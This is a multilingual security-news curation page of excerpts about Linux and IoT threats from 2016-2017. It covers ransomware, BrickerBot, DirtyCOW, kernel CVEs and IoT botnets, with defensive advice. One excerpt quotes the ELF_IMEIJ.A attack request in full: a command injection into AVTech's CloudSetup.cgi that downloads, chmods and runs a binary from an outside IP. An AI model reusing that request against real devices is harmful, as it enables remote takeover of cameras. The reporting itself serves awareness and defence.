ICT Security-Sécurité PC et Internet

153 serveurs linux et plus de 3 000 site web d’entreprises touchés pour le ransomware Elfe Rebus.

Elfe Rebus is back ! Le 10 juin, la société d’hébergement Web sud-coréenne NAYANA a été touchée par Eresbus Ransomware. Un code malveillant qui n’y a pas été avec le dos de la cuillère. Un « membre » de l’entreprise a cliqué sur le rançongiciel que Trend Micro a baptisé ELFEREBUS. Bilan, 153 serveurs Linux touchés et et plus de 3 400 sites Web appartenant aux entreprises hébergées en carafe. L’ensemble des machines ont été chiffrées !

ZATAZ a pu avoir accès à la page « pirate » permettant de payer les maîtres chanteurs. Des voyous du web qui ne perdent pas le nord. Dans leur « site » caché dans le deep web via Tor (.onion), ils indiquent rechercher des personnes proposant Botnet, 0Day, Exploit Kit, etc. « Utilisez notre application, vous pourrez gagner de l’argent facilement ! » annoncent-ils !

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?&tag=RANSOMWARE

http://www.scoop.it/t/securite-pc-et-internet/?&tag=Linux

In its 2017 malware forecast, SophosLabs warned that attackers would increasingly target devices connected to the Internet of Things (IoT) – everything from webcams to internet-connecting household appliances. Late last week, we saw another example of how the trend is playing out.

Security vendor Radware warned that malware called BrickerBot is in the wild, designed to brick IoT devices by damaging their storage capability and scrambling kernel parameters. The company detected two versions of the malware in its honeypot servers – BrickerBot.1 and BrickerBot.2. The first attacks were detected March 20, targeting Linux-based IoT devices running the BusyBox toolkit. The honeypot recorded 1,895 PDoS (Permanent Denial of Service) attempts by BrickerBot from several locations around the world over four days.

To block the attack, Radware recommended users:

Change the device’s factory default credentials.
Disable Telnet access to the device.
Network Behavioral Analysis can detect anomalies in traffic and combine with automatic signature generation for protection.
User/Entity behavioral analysis (UEBA) to spot granular anomalies in traffic early.
An IPS should block Telnet default credentials or reset telnet connections. Use a signature to detect the provided command sequences.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Internet+of+things

Researchers have uncovered a rash of ongoing attacks designed to damage routers and other Internet-connected appliances so badly that they become effectively inoperable.

PDoS attack bots (short for "permanent denial-of-service") scan the Internet for Linux-based routers, bridges, or similar Internet-connected devices that require only factory-default passwords to grant remote administrator access. Once the bots find a vulnerable target, they run a series of highly debilitating commands that wipe all the files stored on the device, corrupt the device's storage, and sever its Internet connection. Given the cost and time required to repair the damage, the device is effectively destroyed, or bricked, from the perspective of the typical consumer.

Over a four-day span last month, researchers from security firm Radware detected roughly 2,250 PDoS attempts on devices they made available in a specially constructed honeypot. The attacks came from two separate botnets—dubbed BrickerBot.1 and BrickerBot.2—with nodes for the first located all around the world. BrickerBot.1 eventually went silent, but even now the more destructive BrickerBot.2 attempts a log-on to one of the Radware-operated honeypot devices roughly once every two hours. The bots brick real-world devices that have the telnet protocol enabled and are protected by default passwords, with no clear sign to the owner of what happened or why.

Learn more / En savoir plus / Mehr erfahren:

Trend Micro is reporting a new threat to Linux-based Internet of Things (IoT) devices that is specifically able to exploit a specific vulnerability in surveillance cameras made by AVTech.
The threat is called ELF_IMEIJ.A and was originally uncovered by Search-Lab in October 2016 and reported to AVTech. Trend Micro said Search-Labs did not received a response regarding the issue.

Much like Mirai, ELF_IMEIJ.A the malware searches for unprotected IoT devices, in this case a camera.
The attacker uses cgi-bin scripts to randomly ping IP addresses searching for a device that is vulnerable.

“Specifically, it exploits CloudSetup.cgi, the reported AVTech CGI Directory vulnerability, to execute a command injection that triggers the malware download. The attacker tricks the device into downloading the malicious file and changes the file's permissions to execute it locally,” Trend wrote.

Search-Labs noted that every user password for the AVTech products is stored in clear text and that an attacker with access to the device itself can easily obtain the full list of passwords.
“By exploiting command injection or authentication bypass issues, the clear text admin password can be retrieved,” Search-Labs initial report on the malware stated.

Learn more / En savoir plus / Mehr erfahren: 

http://www.scoop.it/t/securite-pc-et-internet/?tag=Mirai+Botnet

http://www.scoop.it/t/securite-pc-et-internet/?tag=wearables

https://globaleducationandsocialmedia.wordpress.com/2014/01/21/why-is-it-a-must-to-have-basics-knowledge-of-cyber-security-in-a-connected-technology-world/

http://www.scoop.it/t/securite-pc-et-internet/?tag=SHODAN+Search+Engine

http://www.scoop.it/t/21st-century-learning-and-teaching/?tag=Internet+of+Things

http://www.scoop.it/t/securite-pc-et-internet/?tag=smart-TV

http://www.scoop.it/t/securite-pc-et-internet/?tag=Internet+of+things

http://www.scoop.it/t/securite-pc-et-internet/?tag=Cars

Google fuzzer helps find 11-year-old memory-corruption flaw in the Linux kernel.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?&tag=Linux

Un chercheur en sécurité du nom de Donncha O'Cearbhaill annonce avoir découvert des vulnérabilités critiques, notamment CVE-2016-9949 et CVE-2016-9950, dans le système d'exploitation Ubuntu de Linux. Ces failles ont été localisées au niveau de l'outil en charge du reporting des bogues identifiés dans le système. Donncha O'Cearbhaill soutient que lesdites vulnérabilités affectent toutes les versions d'Ubuntu 12.10 et supérieures.Selon l'expert en sécurité, une exploitation réussie de ces failles...

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

A proof of concept from security researcher and software developer Samy Kamkar shows that macOS, Windows, and Linux computers can have any previously active Web logins hijacked merely by plugging in a tiny Unix device via USB or Thunderbolt, even if the computer is locked and password protected, and possibly even when it seems to be asleep. It can also hijack many router brands on the same network.

PoisonTap exploits several interlocked network and browser design features, rather than relying on an operating system, hardware, or browser flaw. This will make it harder to root out and resolve. Kamkar said in an interview, “The interesting attacks to me are by design: how do you exploit the protocol rather than a single buffer overflow that gets patched the next day.”

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Samy+KAMKAR

http://www.scoop.it/t/securite-pc-et-internet/?tag=Raspberry+PI

No sooner had we written about long-lived Linux kernel bugs...and along comes an 11-year-old vulnerability that's easy to exploit.

This bug doesn’t provide a way for an outsider to break into your system in the first place, so it’s not what we call a remote code execution (RCE) hole.

DirtyCOW is an EoP vulnerability, short for elevation of privilege.

Nevertheless, as we explained above, attackers who are already inside your network are likely to find this a handy way of extending their reach.

A patch is already available.

If you are an intrepid Linux user you can apply the patch yourself and rebuild your kernel.

If not, watch out for the next kernel update from your distro producer and apply it as soon as you can.

Eine Linux-Malware greift aktuell IoT-Geräte wie IP-Kameras mit veralteter Firmware an. Das Besondere an diesem Schädling: Nach der Infektion verwischt er seine Spuren und bleibt nur im Arbeitsspeicher der Geräte präsent. Das erschwert die Analyse.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Smart+Home

https://globaleducationandsocialmedia.wordpress.com/2014/01/21/why-is-it-a-must-to-have-basics-knowledge-of-cyber-security-in-a-connected-technology-world/

http://www.scoop.it/t/securite-pc-et-internet/?tag=SHODAN+Search+Engine

http://www.scoop.it/t/21st-century-learning-and-teaching/?tag=Internet+of+Things

http://www.scoop.it/t/securite-pc-et-internet/?tag=smart-TV

http://www.scoop.it/t/securite-pc-et-internet/?tag=Internet+of+things

http://globaleducationandsocialmedia.wordpress.com/2014/01/21/why-is-it-a-must-to-have-basics-knowledge-of-cyber-security-in-a-connected-technology-world/

http://www.scoop.it/t/securite-pc-et-internet/?tag=Cars

The number of distributed denial of service (DDoS) attacks carried out by Linux botnets almost doubled from the first quarter to 70% of the total in the second quarter, a report reveals.

As a result, the proportion of DDoS attacks using the SYN flood DDoS attacks has increased because Linux tools are the most effective tool for this method, according to the latest report by Kaspersky Lab.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

http://www.scoop.it/t/securite-pc-et-internet/?tag=DDos...

http://www.scoop.it/t/securite-pc-et-internet/?tag=Botnet

Several vulnerabilities in Ubuntu’s implementation of the Linux kernel, including a use-after-free vulnerability and a timing side-channel vulnerability, were patched today.

An advisory issued by Ubuntu Wednesday morning urges users to patch if they’re running 14.04 LTS or any derivative builds.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

Viele Unternehmen vernachlässigen die Absicherung ihrer Linux-Rechner. Das ist allerdings grob fahrlässig, denn auch Linux ist keineswegs virenfrei.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

It's time to update your Raspberry Pi devices or risk them being infected with cryptocurrency mining malware.

Someone has developed a simple Linux trojan designed to harness the meager power of Raspberry Pi devices to mine cryptocurrency.

Raspberry Pi users may need to consider applying a recent Raspbian OS update to their devices, particularly if they are currently configured to allow external SSH connections.

According to Russian security firm Dr Web, the malware Linux.MulDrop.14 exclusively targets Raspberry Pi devices to use their processing power to mine a cryptocurrency.

Dr Web discovered the Raspberry Pi mining malware after its Linux honeypot machine became infected with it. The malware uses a simple Bash script to attempt to connect to Raspberry Pi devices configured to accept external SSH connections. It targets Raspberry Pi boards with the default login and password, which are 'pi' and 'raspberry', respectively.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?&tag=Raspberry+PI

Malware Amnesia bildet IoT/Linux-Botnet
Die Schadsoftware erkennt und löscht virtuelle Maschinen, um Entdeckung und Analyse durch Sicherheitsforscher zu vermeiden. Zuerst entdeckt wurde sie auf digitalen Videorekordern. Sicherheitsforscher befürchten ähnlich umfangreiche DDoS-Attacken wie durch Mirai-Botnets.
von Bernd Kling am 7. April 2017 , 18:14 Uhr

Die Malware Amnesia setzt eine neue Technik ein, um einer Entdeckung zu entgehen. Die Sicherheitsfirma Palo Alto Networks sieht sie als erste Linux-Malware, die virtuelle Maschinen erkennen und löschen kann. Das soll sich gegen von Sicherheitsforschern eingerichtete Sandboxes mit Analysewerkzeugen richten. Die Malware löscht sich außerdem selbst, um keine weiteren Spuren zu hinterlassen.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?&tag=Amnesia

http://www.scoop.it/t/securite-pc-et-internet/?&tag=Amnesia&tag=BrickerBot

A Linux developer discovered a serious security hole that's been hiding for years in an out-of-date driver.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?&tag=Linux

http://www.scoop.it/t/securite-pc-et-internet/?&tag=iot

A new form of Linux malware is hijacking Internet of Things (IoT) devices made by one vendor by exploiting a common gateway interface (CGI) vulnerability.

The ARM malware, detected by security software firm Trend Micro as "ELF_IMEIJ.A," arrives in requests for information (RFI) in CGI bin scripts. Upon delivery, the remote attacker sends the following request to random IP addresses:

POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget -O /tmp/Arm1 http://192.154.108.2:8080/Arm1;chmod 0777 /tmp/Arm1;/tmp/Arm1; HTTP/1.1

Why, you might ask?

ELF_IMEIJ.A is looking to exploit an authenticated command injection vulnerability in devices made by AVTECH, a CCTV manufacturer, that specifically support CloudSetup.CGI.

Researchers at Search-Lab first discovered this vulnerability (along with several others) back in October 2015.

The problem is that there is not whitelist-based checking or verification for the exefile parameter of a CloudSetup.cgi, which specifies the system command to be executed. This bug therefore allows attackers to execute arbitrary commands with root privileges.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?&tag=Linux

http://www.scoop.it/t/securite-pc-et-internet/?&tag=iot

Le système de rapport de bugs d’Ubuntu était touché par des failles. Des vulnérabilités promptement corrigées par les développeurs.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

The good news is developers are looking very closely at Linux's core code for possible security holes. The bad news is they're finding them.

At least the best news is that they're fixing them as soon as they're uncovered.

The latest three kernel vulnerabilities are designated CVE-2016-8655, CVE-2016-6480, and CVE-2016-6828. Of these, CVE-2016-8655 is the worst of the bunch. It enables local users, which can include remote users with virtual and cloud-based Linux instances, to crash the system or run arbitrary code as root.

MORE SECURITY NEWS

US government seeks more data on Apple customers
Electronics-sniffing dogs: How K9s became a secret weapon for solving high-tech crimes
This 'highly personalized' malware campaign targets retailers with phony customer queries
How the Cyber Kangaroo can help defend the Internet of Things
In short, it's nasty.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

A Linux threat known as NyaDrop is exploiting a lack of security in Internet of Things (IoT) devices to infect them with malware.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Smart+Home

https://globaleducationandsocialmedia.wordpress.com/2014/01/21/why-is-it-a-must-to-have-basics-knowledge-of-cyber-security-in-a-connected-technology-world/

http://www.scoop.it/t/securite-pc-et-internet/?tag=SHODAN+Search+Engine

http://www.scoop.it/t/21st-century-learning-and-teaching/?tag=Internet+of+Things

http://www.scoop.it/t/securite-pc-et-internet/?tag=smart-TV

http://www.scoop.it/t/securite-pc-et-internet/?tag=Internet+of+things

http://www.scoop.it/t/securite-pc-et-internet/?tag=Cars

Some days you can't win for losing. In 2012, Linux implemented a new TCP/IP networking standard, RFC 5961, Improving TCP's Robustness to Blind In-Window Attacks, to improve security. In the process, they opened up a heretofore unknown security hole. Ironically, other operating systems that lagged in implementing this new "security" mechanism -- such as FreeBSD, macOS, and Windows -- are immune to this new attack vector.

This is potentially a big deal because it can be used to break, or even hijack, Internet connections between Linux and Android systems. So, for example, if an Android smartphone connected to USA Today, the connection could be interrupted. The same attack, however, would fail if it were made on a link between a Windows PC and USA Today.

The problem exists in any operating system running Linux kernel 3.6 or newer. Linux 3.6 was introduced in 2012. The vulnerability allows an attacker from anywhere on the Internet to search for connections between a client and a server. Once such a network connection is found, the attacker can invade it, cause connection termination, and perform data injection attacks.

How bad is it? The discoverers say that the attack is fast and reliable, takes less than a minute, and works about 90 percent of the time.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

The company that builds Ubuntu, a popular Linux distribution, has said that its forums were hacked on Thursday.

Canonical, which develops the operating system, said in a statement on Friday that two million usernames, email addresses, IP addresses associated with the Ubuntu Forums were taken by an unnamed attacker.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

Remaiten Linux Bot Targets Routers and Potentially Other Embedded (IoT) Devices

A new piece of malware is targeting embedded systems with the mission to compromise and make them part of a botnet, ESET security researchers have discovered.

Dubbed “Remaiten” (Linux/ Remaiten), the new threat combines the capabilities of previously spotted Tsunami (also known as Kaiten) and Gafgyt malware and also brings a series of improvements and new features. According to ESET, three versions of Remaiten have already emerged, while the malware authors call their creation “KTN-Remastered” or “KTN-RM.”

One of the capabilities that Remaiten borrows from Gafgyt is telnet scanning, though Remaiten enjoys a series of improvements, ESET’s Michal Malik explains in a blog post. Both, however, rely on improperly secured devices to successfully infect them.

Gafgyt attempts to connect to random routers via port 23, which it then issues a shell command to download bot executables for multiple architectures and tries to run them. Remaiten, on the other hand, carries downloaders for CPU architectures commonly used in embedded Linux devices, then tries to trigger the device’s platform to drop only the appropriate downloader.

Learn more / En savoir plus / Mehr erfahren:

http://www.scoop.it/t/securite-pc-et-internet/?tag=Linux

http://www.scoop.it/t/securite-pc-et-internet/?tag=Internet+of+things

http://www.scoop.it/t/securite-pc-et-internet/?tag=Router